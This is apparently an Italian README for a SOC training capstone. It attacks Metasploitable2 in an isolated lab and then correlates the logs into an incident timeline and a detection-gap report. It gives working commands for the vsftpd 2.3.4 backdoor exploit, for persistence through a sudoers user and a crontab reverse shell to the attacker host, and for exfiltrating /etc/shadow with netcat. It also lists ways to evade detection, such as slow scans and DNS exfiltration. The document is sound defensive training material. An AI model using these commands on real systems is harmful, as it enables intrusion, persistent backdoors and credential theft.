
Indagine SOC end-to-end: kill chain CVE-2011-2523, correlazione dei log multi-sorgente, report dell'incidente — MITRE ATT&CK T1190
Esegue una catena di attacco completa in quattro fasi (Ricognizione → Sfruttamento → Persistenza → Esfiltrazione) contro Metasploitable2, raccoglie prove in ogni fase e produce una timeline strutturata dell'incidente e un report SOC — dimostrando un pensiero simultaneo da attaccante e da difensore.
Questo è il progetto finale (capstone). Dimostra la capacità di:
L'exploit utilizzato (CVE-2011-2523 — backdoor vsftpd 2.3.4) è storicamente significativo: è stato un attacco alla supply chain in cui un avversario ha iniettato una backdoor nel repository sorgente del pacchetto open-source vsftpd.
╔═══════════════════════════════╗
║ soc-lab (172.23.0.0/24) ║
║ ║
┌─────────────┐ ║ ┌─────────────────────────┐ ║
│ Attacker │ ║ │ Metasploitable2 │ ║
│ Kali Linux │ ║ │ 172.23.0.200 │ ║
│ │ ║ │ │ ║
│ Phase 1 │─────╫─►│ :21 vsftpd 2.3.4 ◄───╫──╫── CVE-2011-2523
│ nmap -A │ ║ │ :22 SSH │ ║ backdoor on :6200
│ │ ║ │ :80 HTTP (DVWA) │ ║
│ Phase 2 │─────╫─►│ :445 Samba │ ║
│ msf exploit│◄────╫──│ :6200 root shell │ ║
│ │ ║ └─────────────────────────┘ ║
│ Phase 3 │─────╫─► useradd sysbackup ║
│ persistence│─────╫─► crontab reverse shell ║
│ │ ║ ║
│ Phase 4 │◄────╫── /etc/shadow via nc :5555 ║
│ exfiltration ╚═══════════════════════════════╝
└──────┬──────┘
│
│ Evidence collection:
│ logs/msf_session.log
│ logs/target_auth.log
│ captures/full_attack_chain.pcap (tshark CSV)
▼
┌──────────────────────────────────────────────────┐
│ build_timeline.py │
│ Parser: MSF log + auth.log + tshark CSV │
│ → merge by timestamp → tag by phase │
│ → JSON timeline + Markdown incident report │
└──────────────────────────────────────────────────┘
| Strumento | Scopo |
|---|---|
| Metasploitable2 | Target Linux deliberatamente vulnerabile |
| Nmap 7.94 | Fase 1: Enumerazione dei servizi |
| Metasploit 6.x | Fase 2: Exploit vsftpd 2.3.4 |
| Netcat | Fasi 3–4: Persistenza + esfiltrazione |
| tshark | Cattura pacchetti in tutte le fasi |
| Python 3 | build_timeline.py — merge di log multi-sorgente |
| Splunk Free / ELK | Rilevamento SIEM specifico per fase |
cd docker/
# Start Metasploitable2 (isolated network)
docker compose up -d metasploitable
# Verify target is reachable
nmap -p 21,22,80 172.23.0.200
# Start background packet capture
sudo tcpdump -i eth0 host 172.23.0.200 \
-w captures/full_attack_chain.pcap &
nmap -sV -O -A \
-p 21,22,80,139,445,3306,5432 \
--script=banner,ftp-anon,http-title \
-oX logs/recon_scan.xml \
172.23.0.200
Risultato chiave: 21/tcp open ftp vsftpd 2.3.4
# Method A: Metasploit
msfconsole -q -x "
use exploit/unix/ftp/vsftpd_234_backdoor;
set RHOSTS 172.23.0.200;
set PAYLOAD cmd/unix/interact;
run" | tee logs/msf_session.log
# Method B: Manual (demonstrates the mechanism)
# Step 1: Trigger backdoor by sending username with ':)'
printf "USER evil:)\r\nPASS x\r\n" | nc 172.23.0.200 21
# Step 2: Connect to spawned root shell
nc 172.23.0.200 6200
# → id: uid=0(root) gid=0(root)
Perché funziona: Quando vsftpd 2.3.4 riceve un nome utente contenente la sottostringa :), il demone esegue execl("/bin/sh",...) in ascolto sulla porta TCP 6200. Nessuna autenticazione richiesta — shell root diretta.
# Execute in the root shell on target:
useradd -m -s /bin/bash sysbackup
echo "sysbackup:$(openssl passwd -1 secr3t)" >> /etc/passwd
echo "sysbackup ALL=(ALL) NOPASSWD:ALL" >> /etc/sudoers
(crontab -l 2>/dev/null; echo "* * * * * bash -i >& /dev/tcp/172.23.0.1/9999 0>&1") | crontab -
# Receiver (attacker)
nc -lvnp 5555 > samples/exfiltrated_shadow.txt
# Sender (on target)
cat /etc/shadow | nc 172.23.0.1 5555
# Convert PCAP to CSV first
bash ../02-network-recon-detection/src/pcap_to_siem.sh captures/full_attack_chain.pcap
# Build timeline from all sources
python3 src/build_timeline.py \
--msf-log logs/msf_session.log \
--auth-log logs/target_auth.log \
--pcap-csv captures/full_attack_chain_packets.csv \
--output-json samples/timeline.json \
--output-md docs/incident_report.md \
--pretty
build_timeline.py stderr2026-04-24T16:05:20 [INFO ] Parsed 9 events from MSF log
2026-04-24T16:05:20 [INFO ] Parsed 11 events from auth.log
2026-04-24T16:05:20 [INFO ] Parsed 4 flow-initiation events from PCAP CSV
2026-04-24T16:05:20 [INFO ] Total events (sorted): 24
2026-04-24T16:05:20 [INFO ] Unique IOCs extracted: 4
2026-04-24T16:05:20 [INFO ] Phase RECON : 8 event(s)
2026-04-24T16:05:20 [INFO ] Phase EXPLOIT : 4 event(s)
2026-04-24T16:05:20 [INFO ] Phase PERSIST : 6 event(s)
2026-04-24T16:05:20 [INFO ] Phase EXFIL : 2 event(s)
samples/sample_timeline.json){
"total_events": 24,
"iocs": [
{ "indicator": "172.23.0.1", "phase": "RECON", "occurrence": 8 },
{ "indicator": "172.23.0.1", "phase": "EXPLOIT", "occurrence": 2 },
{ "indicator": "sysbackup", "phase": "PERSIST", "occurrence": 1 }
],
"timeline": [
{ "timestamp": "2026-04-24T14:10:05+00:00", "phase": "RECON", "description": "nmap -sV -O -A", "source": "metasploit" },
{ "timestamp": "2026-04-24T14:22:41+00:00", "phase": "EXPLOIT", "description": "session 1 opened (172.23.0.1 → 172.23.0.200)", "source": "metasploit" },
{ "timestamp": "2026-04-24T14:28:07+00:00", "phase": "PERSIST", "description": "useradd: new user: name=sysbackup", "source": "auth_log" },
{ "timestamp": "2026-04-24T14:35:52+00:00", "phase": "EXFIL", "description": "flow 172.23.0.200 → 172.23.0.1:5555", "source": "pcap" }
]
}
Questo è l'output analitico più importante — cosa sarebbe stato perso senza un rilevamento adeguato.
| Fase | Prove Grezze nei Log | Rilevato dalla Regola SIEM | Non Rilevato Senza Copertura |
|---|---|---|---|
| RICOGNIZIONE | PCAP: SYN flood verso 24 porte | Regola port sweep (>20 porte/10s) ✓ | Scan lento (-T1): elude completamente la soglia di frequenza |
| SFRUTTAMENTO | PCAP: nuova connessione a :6200 · Nessuna voce in auth.log | Regola di anomalia sulla porta :6200 ✓ | Se l'attaccante avesse usato un exploit HTTP su :80 — nessuna anomalia di porta |
| PERSISTENZA | auth.log: new user: name=sysbackup | Avviso di creazione nuovo utente ✓ | Modifica diretta di /etc/passwd: zero log senza auditd |
| ESFILTRAZIONE | PCAP: 4 KB in uscita su :5555 | Regola porta non standard + dimensione ✓ | Esfiltrazione DNS (record TXT): bypassa completamente le regole sul volume |
Risultato critico: L'exploit vsftpd 2.3.4 non lascia nessuna voce in auth.log perché bypassa il sottosistema di login. L'unica prova nei log è la successiva connessione TCP alla porta 6200 — invisibile senza telemetria di rete. I soli log degli endpoint non possono rilevare questa classe di attacco.
| Limitazione | Impatto | Mitigazione |
|---|---|---|
| vsftpd 2.3.4 è una vulnerabilità del 2011 | Non rappresentativa degli exploit moderni | Aggiungere EternalBlue (MS17-010) come scenario di exploit alternativo |
build_timeline.py usa una classificazione per parole chiave | Classifica erroneamente alcuni eventi | Addestrare un classificatore NLP leggero su dati di log etichettati |
| Nessun rilevamento endpoint (EDR) | La persistenza a livello di file (authorized_keys) non viene catturata | Aggiungere Wazuh o Elastic Agent sul target |
| Esecuzione manuale della catena di attacco | Non riproducibile senza intervento interattivo | Automatizzare le fasi 2–4 con script di risorse Metasploit |
| Riferimento | ID / Link |
|---|---|
| CVE-2011-2523 — backdoor vsftpd 2.3.4 | https://nvd.nist.gov/vuln/detail/CVE-2011-2523 |
| MITRE ATT&CK — Exploit Public-Facing Application | T1190 |
| MITRE ATT&CK — Create Account: Local Account | T1136.001 |
| MITRE ATT&CK — Scheduled Task/Job: Cron | T1053.003 |
| MITRE ATT&CK — Exfiltration Over C2 Channel | T1041 |
| MITRE ATT&CK — Valid Accounts | T1078 |
04-soc-investigation/
├── src/
│ ├── build_timeline.py # Multi-source log merger + phase tagger
│ └── run_attack_chain.sh # Step-by-step attack chain with exact commands
├── configs/
│ └── splunk_detection_rules.spl # Phase-specific SPL queries (RECON/EXPLOIT/PERSIST/EXFIL)
├── samples/
│ └── sample_timeline.json # Example incident timeline JSON
├── docker/
│ └── docker-compose.yml # Metasploitable2 isolated target
├── docs/
│ └── incident_report.md # Generated SOC report (build_timeline.py --output-md)
└── screenshots/